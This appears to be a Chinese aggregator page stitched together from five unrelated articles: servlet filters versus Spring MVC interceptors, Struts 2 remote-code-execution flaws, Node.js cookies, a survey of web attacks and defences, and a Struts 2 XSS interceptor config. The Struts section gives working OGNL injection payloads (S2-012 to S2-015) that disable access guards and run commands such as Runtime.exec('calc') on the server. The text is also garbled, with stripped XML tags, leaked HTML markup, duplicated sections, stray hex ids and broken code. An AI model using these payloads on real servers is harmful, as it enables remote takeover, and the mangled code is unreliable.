目录介绍：

• 1、servlet filter和springMVC拦截器的区别
• 2、关于struts 2为什么会有代码执行漏洞的小帖子
• 3、nodejs怎么设置cookie
• 4、web攻击有哪些？怎么防护？
• 5、struts2 有没有jar包能防止xss攻击

servlet filter和springMVC拦截器的区别

（1）过滤器：依赖于servlet容器,是JavaEE标准,是在请求进入容器之后，还未进入Servlet之前进行预处理，并且在请求结束返回给前端这之间进行后期处理。在实现上基于函数回调，可以对几乎所有请求进行过滤，但是缺点是一个过滤器实例只能在容器初始化时调用一次。使用过滤器的目的是用来做一些过滤操作，获取我们想要获取的数据，比如：在过滤器中修改字符编码；在过滤器中修改HttpServletRequest的一些参数，包括：过滤低俗文字、危险字符等关于过滤器的一些用法可以参考我写过的这些文章：继承HttpServletRequestWrapper以实现在Filter中修改HttpServletRequest的参数：在SpringMVC中使用过滤器（Filter）过滤容易引发XSS的危险字符：（2）拦截器：拦截器不依赖与servlet容器，依赖于web框架，在SpringMVC中就是依赖于SpringMVC框架。在实现上基于Java的反射机制，属于面向切面编程（AOP）的一种运用。由于拦截器是基于web框架的调用，因此可以使用spring的依赖注入（DI）获取IOC容器中的各个bean,进行一些业务操作，同时一个拦截器实例在一个controller生命周期之内可以多次调用。但是缺点是只能对controller请求进行拦截，对其他的一些比如直接访问静态资源的请求则没法进行拦截处理,拦截器功在对请求权限鉴定方面确实很有用处

关于struts 2为什么会有代码执行漏洞的小帖子

Struts结构

把里面的例子在tomcat里部署一下，就可以测试了。简单说一下struts 2的结构。

struts 2的安装是在web.xml里添加这样的一句，将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中，默认情况下，该过滤器拦截请求字符串中以.action结尾的请求，并将该请求委托给指定的Action进行处理

filter

filter-namestruts2/filter-name

filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class

/filter

filter-mapping

filter-namestruts2/filter-name

url-pattern/*/url-pattern

/filter-mapping

关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。

result type="redirectAction"的作用是捕获到该action重定向到其他页面。

最后include了另外一个XML

package name="default" namespace="/" extends="struts-default"

default-action-ref name="index" /

global-results

result name="error"/error.jsp/result

/global-results

global-exception-mappings

exception-mapping exception="java.lang.Exception" result="error"/

/global-exception-mappings

action name="index"

result type="redirectAction"

param name="actionName"HelloWorld/param

param name="namespace"/example/param

/result

/action

/package

include file="example.xml"/

这个example.xml定义了action的具体实现，最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。

package name="example" namespace="/example" extends="default"

action name="HelloWorld" class="af13-95a1-4b29-f952 example.HelloWorld"

result/example/HelloWorld.jsp/result

/action

action name="Login_*" method="{1}" class="95a1-4b29-f952-993f example.Login"

result name="input"/example/Login.jsp/result

result type="redirectAction"Menu/result

/action

action name="*" class="4b29-f952-993f-b955 example.ExampleSupport"

result/example/{1}.jsp/result

/action

!-- Add actions here --

/package

OGNL语法

struts使用了OGNL，虽然不知道为什，但是OGNL还是很强大的。

关于它的特性可以看下面的几个页面

Struts近期漏洞

漏洞列表，这里命令执行漏洞的利用方法，多是找到一处可以OGNL解析的地方，POC的构造大同小异

S2-015

官方描述

A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.

触发条件

当*匹配到一串精心构造的OGNL语句时，会把它放到{1}中，形成OGNL二次执行。

action name="*" class="f952-993f-b955-194b example.ExampleSupport"

result/example/{1}.jsp/result

/action

POC

一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客，规定了OGNL中是否可以调用静态变量。

最后的.action是为了让拦截器捕捉，最后进入{1}的是前面的部分

${

%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),

(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()

}.action

如果页面返回像这样，说明执行成功，0是waitFor()返回的值。

HTTP ERROR 404

Problem accessing /struts2-blank/example/0.jsp. Reason:

Not Found

详细原理这里不作分析，因为别人都做好了。其中提到 JavaSnoop的代码审核工具，貌似不错。

S2-014

官方描述

A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks

触发条件

URL标签的includeParams为get或all

s:url id="url" action="HelloWorld" includeParams="all"

Demo里面的情况如下，%{url}是上面定义的URL标签，当includeParams为all时，会把get或post提交的参数添加到自身的param列表中

li

s:url id="url" action="HelloWorld" includeParams="all"

s:param name="request_locale"en/s:param

/s:url

s:a href="%{url}"English/s:a

/li

POC

执行代码

{%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

修改Session

{%23session[%22hacked%22]='true'}

不过在执行的时候爆了一个错误，原因不明。

java.lang.ProcessImpl%40e3fda7

S2-013

官方描述

A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution

触发条件

这个洞和S2-014原理相同，因为官方没修不好而报了两次。

POC

这个可以成功执行

(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D

翻译成人类能看懂的,这个利用还是很有意思的

?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

S2-012

官方描述

Showcase app vulnerability allows remote command execution

触发条件需要定义一个 type为redirect的result，从这里可以看出，直接把利用代码贴到${currentSkill.name}这里就可以了

action name="save" class="993f-b955-194b-0799 org.apache.struts2.showcase.action.SkillAction" method="save"

result type="redirect"edit.action?skillName=${currentSkill.name}/result

/action

POC

PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE

PRE/PRE

H3A name=t8/AS2-011/H3

DIV官方描述，DOS和我关系不大/DIV

DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR

H3A name=t9/AS2-010/H3

/DIV

DIV官方描述/DIV

DIV这个是关于令牌的，看来命令执行漏洞是近期才涌现出来的。/DIV

DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR

BR

/DIV

BR

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

S2-011

官方描述，DOS和我关系不大

Long request parameter names might significantly promote the effectiveness of DOS attacks

S2-010

官方描述

这个是关于令牌的，看来命令执行漏洞是近期才涌现出来的。

div class="b955-194b-0799-ec6c dp-highlighter bg_html"

When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes

nodejs怎么设置cookie

通过node.js建立了一个完整的网站不是一件容易的事，这涉及读取页面模板，从数据库中抽出数据构建成新的页面返回给客户端。但光是这样还不行，我们还要设置首部，在chrome中如果CSS没有设置正确的Content-Type，会不起作用的。此处理还要考虑访问量，要设置缓存，缓存不单单是把东西从内存中读入读出就行，这样会撑爆电脑内存的，这用LRU算法（最近最少用的数据会清空出内存）。基于Cookie与数据库与URL重写，我们发展出一个session机制用于在多个action中通信。对于不同的请求交由不同的action来处理，就要发展出路由机制与MVC系统，等等。我信后写这些东西一点点写出来，揭示newland.js中遇到的种种问题与解决方案。如果什么都贪图方便，直接上框架，对我们语言学习是非常不利的。

本文正如标题所说，是操作Cookie。下面是一个完整的例子：

var http = require('http');http.createServer(function (req, res) {    // 获得客户端的Cookie    var Cookies = {};    req.headers.cookie req.headers.cookie.split(';').forEach(function( Cookie ) {        var parts = Cookie.split('=');        Cookies[ parts[ 0 ].trim() ] = ( parts[ 1 ] || '' ).trim();    });    console.log(Cookies)    // 向客户端设置一个Cookie    res.writeHead(200, {        'Set-Cookie': 'myCookie=test',        'Content-Type': 'text/plain'    });    res.end('Hello World\n');}).listen(8000); console.log('Server running at ');

如果去掉其中几句，就是官方给出的例子，除了表明返回一个页面多简单外，一点用也没有。

var http = require('http'); http.createServer(function (req, res) {  res.writeHead(200, {'Content-Type': 'text/plain'});  res.end('Hello World\n');}).listen(8000); console.log('Server running at ');

我们通过http.createServer的回调来处理所有请求与响应，因此什么有用的东西都在它们上面。Cookie位于req对象的headers对象上，为一个字符串，通常为了方便我们将它们转换成一个对象。

写入一个Cookie其实就是在首部设置一个键值对，上面是简单方式，它实际上可以这样：

res.writeHead(200, {     'Set-Cookie': ["aaa=bbb","ccc=ddd","eee=fff"],     'Content-Type': 'text/plain' });

但真正使用时，我们的Cookie并非这样简单的的格式：

  Set-Cookie: =[; =][; expires=][; domain=][; path=][; secure][; HttpOnly]

HttpOnly 属性： 这是微软对Cookie做的扩展。如果在Cookie中设置了"HttpOnly"属性，那么通过程序(JS脚本、Applet等)将无法读取到Cookie信息，这样能有效的防止XSS攻击。

var http = require('http');http.createServer(function (req, res) {    // 获得客户端的Cookie    var Cookies = {};    req.headers.cookie req.headers.cookie.split(';').forEach(function( Cookie ) {        var parts = Cookie.split('=');        Cookies[ parts[ 0 ].trim() ] = ( parts[ 1 ] || '' ).trim();    });    console.log(Cookies)    // 向客户端设置一个Cookie    res.writeHead(200, {        'Set-Cookie': 'SSID=Ap4GTEq; Expires=Wed, 13-Jan-2021 22:23:01 GMT;HttpOnly ',        'Content-Type': 'text/html'    });    res.end('Hello World\nscriptconsole.log(document.Cookie)/script');}).listen(8000); console.log('Server running at ');

然后多刷几次页面，我们发现我们还能在控制台看到SSID=Ap4GTEq这个属性，但在前端我们看不到它（当然在firebug中能看到）。

Secure属性： 当设置为true时，表示创建的 Cookie 会被以安全的形式向服务器传输，也就是只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证，如果是 HTTP 连接则不会传递该信息，所以不会被窃取到Cookie 的具体内容。同上，在客户端我们也无法在document.Cookie找到被设置了Secure=true的Cookie键值对。Secure属性是防止信息在传递的过程中被监听捕获后信息泄漏，HttpOnly属性的目的是防止程序获取Cookie后进行攻击。我们可以把Secure=true看成比HttpOnly更严格的访问控制。

path属性： 指定可访问Cookie的目录。例如："userId=320; path=/shop";就表示当前Cookie仅能在shop目录下使用。

domain属性： 指定可访问Cookie的主机名.主机名是指同一个域下的不同主机，例如：和gmail.google.com就是两个不同的主机名。默认情况下，一个主机中创建的Cookie在另一个主机下是不能被访问的， 但可以通过domain参数来实现对其的控制，其语法格式为："name=value; domain=CookieDomain";以google为例，要实现跨主机访问，可以写为： "name=value;domain=.google.com";这样，所有google.com下的主机都可以访问该Cookie。

Expires属性：指定过期时间，格式为"name=value;; expires=GMT_String"; 其中GMT_String是以GMT格式表示的时间字符串，超过这个时间，Cookie将消失，不可访问。例如：如果要将Cookie设置为10天后过期，可以这样实现：

//获取当前时间var date=new Date();var expireDays=10;//将date设置为10天以后的时间date.setTime(date.getTime()+expireDays*24*3600*1000);//将userId和userName两个Cookie设置为10天后过期 res.writeHead(200, {        'Set-Cookie': "userId=828; userName=hulk; expire="+date.toGMTString();        'Content-Type': 'text/html'   });

Max-Age属性： 个人感觉这个东西比Expires更好用，本来就是用于代替Expires，由于市面上的书你抄我，我抄你，都在抄旧知识，导致Expires还在使用。Max-Age的值 可以为正数，表示此Cookie从创建到过期所能存在的时间，以秒为单位，此Cookie会存储到客户端电脑，以Cookie文件形式保存，不论关闭浏览器或关闭电脑，直到时间到才会过期。 可以为负数，表示此Cookie只是存储在浏览器内存里，只要关闭浏览器，此Cookie就会消失。maxAge默认值为-1。 还可以为0，表示从客户端电脑或浏览器内存中删除此Cookie。

Cookie面向的主要是服务器，localstorage面向的是页面端js。页面所需的业务数据可以放在localstorage里，但是认证相关的信息还是需要放在Cookie里的。

Cookie的限制

一、浏览器允许每个域名所包含的 Cookie 数：

Microsoft 指出 Internet Explorer 8 增加 Cookie 限制为每个域名 50 个，但 IE7 似乎也允许每个域名 50 个 Cookie（《Update to Internet Explorer’s Cookie Jar》）。

Firefox 每个域名 Cookie 限制为 50 个。

Opera 每个域名 Cookie 限制为 30 个。

Safari/WebKit 貌似没有 Cookie 限制。但是如果 Cookie 很多，则会使 header 大小超过服务器的处理的限制，会导致错误发生。

二、当很多的 Cookie 被设置，浏览器如何去响应。除 Safari（可以设置全部Cookie，不管数量多少），有两个方法：

最少最近使用（least recently used (LRU)）的方法：当 Cookie 已达到限额，自动踢除最老的 Cookie ，以使给最新的 Cookie 一些空间。 Internet Explorer 和 Opera 使用此方法。

Firefox 很独特：虽然最后的设置的 Cookie 始终保留，但似乎随机决定哪些 Cookie 被保留。似乎没有任何计划（建议：在 Firefox 中不要超过 Cookie 限制）。

三、不同浏览器间 Cookie 总大小也不同：

Firefox 和 Safari 允许 Cookie 多达 4097 个字节, 包括名（name）、值（value）和等号。

Opera 允许 Cookie 多达 4096 个字节, 包括：名（name）、值（value）和等号。

Internet Explorer 允许 Cookie 多达 4095 个字节, 包括：名（name）、值（value）和等号。

注：多字节字符计算为两个字节。在所有浏览器中，任何 Cookie 大小超过限制都被忽略，且永远不会被设置。

最后让我们看看newland.js是怎么处理cookie的。

newland.js有个重要的对象叫httpflow，其实就是我的操作流flow的子类，它劫持了所有清求与响应。当一个请求过来时，框架就会new一个httpflow去处理它们。它有个patch方法，用于为操作流添加一些有用属性与方法，而不像express.js那样直接在原生对象上改。实现express.js现在的做法有点像Prototype.js，加之node.js的版本现在还没有到1.0，因此API改动还很频繁的。express.js的行为无异走钢线。而把操作移到一个自定义对象就安全多了。

// 源马见 http.createServer(function(req, res) {            var flow = new Flow()//创建一个流程对象，处理所有异步操作，如视图文件的读取、数据库连接            flow.patch(req, res)            services.forEach(function(fn){                fn(flow);//将拦截器绑到流程对象上            });       //...})   

此外，httpflow还劫持res.writeHead，res.setHeader，目的为实现多次调用setCookie时而不相互覆盖。

// 源马见 patch: function(req, res){            this.res =  res;            this.req =  req;            this.originalUrl = req.url;            this.params = {};            this.session = new Store(this)            this.flash =  function(type, msg){                  //。。。。。            }            var flow = this;            var writeHead = res.writeHead;            var setHeader = res.setHeader;            flow._setHeader = setHeader;            res.writeHead = function(){                flow.fire('header');                writeHead.apply(this, arguments);                this.writeHead = writeHead;//还原            }            res.setHeader = function(field, val){                var key = field.toLowerCase()                if ( 'set-cookie' == key ) {                    var array = typeof val == "string" ? [val] : val;                    array.forEach(function(str){                        var arr =  str.split("=");                        flow.addCookie(arr[0], arr[1])                    })                } else{                    if ('content-type' == key this.charset) {                        val += '; charset=' + this.charset;                    }                    setHeader.call(this, field, val);                }            }        }   

此外操作流还有两个有用的方法来添加或移除Cookie。

// 源马见        addCookie: function(name, val, opt){            if(!this.resCookies){                this.resCookies = {};                this.resCookies[name] = [val, opt]                this.bind("header", function(){                    var array = []                    for(var i in this.resCookies){                        var arr = this.resCookies[i];                        array.push( Cookie.stringify(i, arr[0], arr[1] ) )                    }                    this._setHeader.call(this.res, "Set-Cookie",array)                })            }else{                this.resCookies[name] = [val, opt]            }            return this;        },        removeCookie: function(name){            var cookies = Array.isArray(name) ? name : [ name ];            cookies.forEach(function(cookie){                this.addCookie(cookie,"", 0)            },this);            return this;        },   

实质上，经过上面的代码，我们就好方便多次添加或删除Cookie。个人认为用setHeader来操作（即使它已经被偷龙转凤还是不怎么好用），大家还是用addCookie, removeCookie来干吧。这些操作会在用户第一次调用当前的res.whireHead生效！

flow.addCookie("ACookie","xxxxxxxxxx");flow.addCookie("BCookie","yyyyyyyyy");flow.addCookie('rememberme', 'yes', { expires: 0, httpOnly: true }) //链式写法，同名cookie前者会覆盖后者的，前端只生成“aaa=2; bbb=1”flow.addCookie("aaa",1).addCookie("aaa",2).addCookie("bbb",1).addCookie("bbb",1) flow.res.setHeader("Set-Cookie","user=aaa") flow.removeCookie("oldCookie")//传入一个字符串数组，同时删除多个cookieflow.removeCookie(["myCookie","uuer","newCookie"])   

如果你想查看从客户端来的cookie，那么直接看flow.cookie好了，它会在途中调用一个get_cookie的服务，将原始的字符始形式转换为一个对象。

web攻击有哪些？怎么防护？

1、DoS和DDoS攻击（DoS(Denial of Service)，即拒绝服务，造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击）

防范：(1) 反欺骗：对数据包的地址及端口的正确性进行验证，同时进行反向探测。(2) 协议栈行为模式分析：每个数据包类型需要符合RFC规定，这就好像每个数据包都要有完整规范的着装，只要不符合规范，就自动识别并将其过滤掉。(3) 特定应用防护：非法流量总是有一些特定特征的，这就好比即便你混进了顾客群中，但你的行为还是会暴露出你的动机，比如老重复问店员同一个问题，老做同样的动作，这样你仍然还是会被发现的。(4) 带宽控制：真实的访问数据过大时，可以限制其最大输出的流量，以减少下游网络系统的压力。

2、CSRF(Cross Site Request Forgery)，即跨站请求伪造，是一种常见的Web攻击，但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。

防范：(1) 验证码。应用程序和用户进行交互过程中，特别是账户交易这种核心步骤，强制用户输入验证码，才能完成最终请求。在通常情况下，验证码够很好地遏制CSRF攻击。但增加验证码降低了用户的体验，网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段，在关键业务点设置验证码。(2) Referer Check。HTTP Referer是header的一部分，当浏览器向web服务器发送请求时，一般会带上Referer信息告诉服务器是从哪个页面链接过来的，服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律，如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面，来判断是不是CSRF攻击。但在某些情况下如从https跳转到http，浏览器处于安全考虑，不会发送referer，服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞，那么攻击者可以在其他网站注入恶意脚本，受害者进入了此类同域的网址，也会遭受攻击。出于以上原因，无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。(3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token，即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token，并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值，会进行校验该请求当中的token和cookie当中的token值是否都存在且相等，才认为这是合法的请求。否则认为这次请求是违法的，拒绝该次服务。这种方法相比Referer检查要安全很多，token可以在用户登陆后产生并放于session或cookie中，然后在每次请求时服务器把token从session或cookie中拿出，与本次请求中的token 进行比对。由于token的存在，攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时，当某个页面消耗掉token后，其他页面的表单保存的还是被消耗掉的那个token，其他页面的表单提交时会出现token错误。

3、XSS(Cross Site Scripting)，跨站脚本攻击。为和层叠样式表(Cascading Style Sheets，CSS)区分开，跨站脚本在安全领域叫做“XSS”。

防范：(1) 输入过滤。永远不要相信用户的输入，对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email格式，电话号码格式等等。这样可以初步对XSS漏洞进行防御。上面的措施只在web端做了限制，攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此，后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或者转义处理，然后再存储到数据库中。(2) 输出编码。服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中，有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。(3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作，同时要避免使用客户端数据，这些操作需尽量在服务器端使用动态页面来实现。(4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时，将其属性设为HttpOnly，就可以避免该网页的cookie被客户端恶意JavaScript窃取，保护用户cookie信息。(5)WAF(Web Application Firewall)，Web应用防火墙，主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发，在企业环境中深受欢迎。

4、SQL注入(SQL Injection)，应用程序在向后台数据库传递SQL(Structured Query Language，结构化查询语言)时，攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

防范：(1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off，防止php脚本出错之后，在web页面输出敏感信息错误，让攻击者有机可乘。(2) 数据转义。设置php.ini选项magic_quotes_gpc=on，它会将提交的变量中所有的’(单引号)，”(双引号)，\(反斜杠)，空白字符等都在前面自动加上\。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。(3) 增加黑名单或者白名单验证。白名单验证一般指，检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指，若在用户输入中，包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时，一般会配合黑名单验证。

5、上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。

防范： (1)检查服务器是否判断了上传文件类型及后缀。 (2) 定义上传文件类型白名单，即只允许白名单里面类型的文件上传。 (3) 文件上传目录禁止执行脚本解析，避免攻击者进行二次攻击。 Info漏洞 Info漏洞就是CGI把输入的参数原样输出到页面，攻击者通过修改输入参数而达到欺骗用户的目的。

struts2 有没有jar包能防止xss攻击

配置struts.xml

package name="default" namespace="/"

extends="struts-default, json-default"

!-- 配置拦截器 --

interceptors

!-- 定义xss拦截器 --

interceptor name="xssInterceptor" class="194b-0799-ec6c-63ba ...此处填写拦截器类名"/interceptor

!-- 定义一个包含xss拦截的拦截栈 --

interceptor-stack name="myDefault"

interceptor-ref name="xssInterceptor"/interceptor-ref

interceptor-ref name="defaultStack"/interceptor-ref

/interceptor-stack

/interceptors

!-- 这个必须配置，否则拦截器不生效 --

default-interceptor-ref name="myDefault"/default-interceptor-ref

action

...此处省略n个action

/action

/package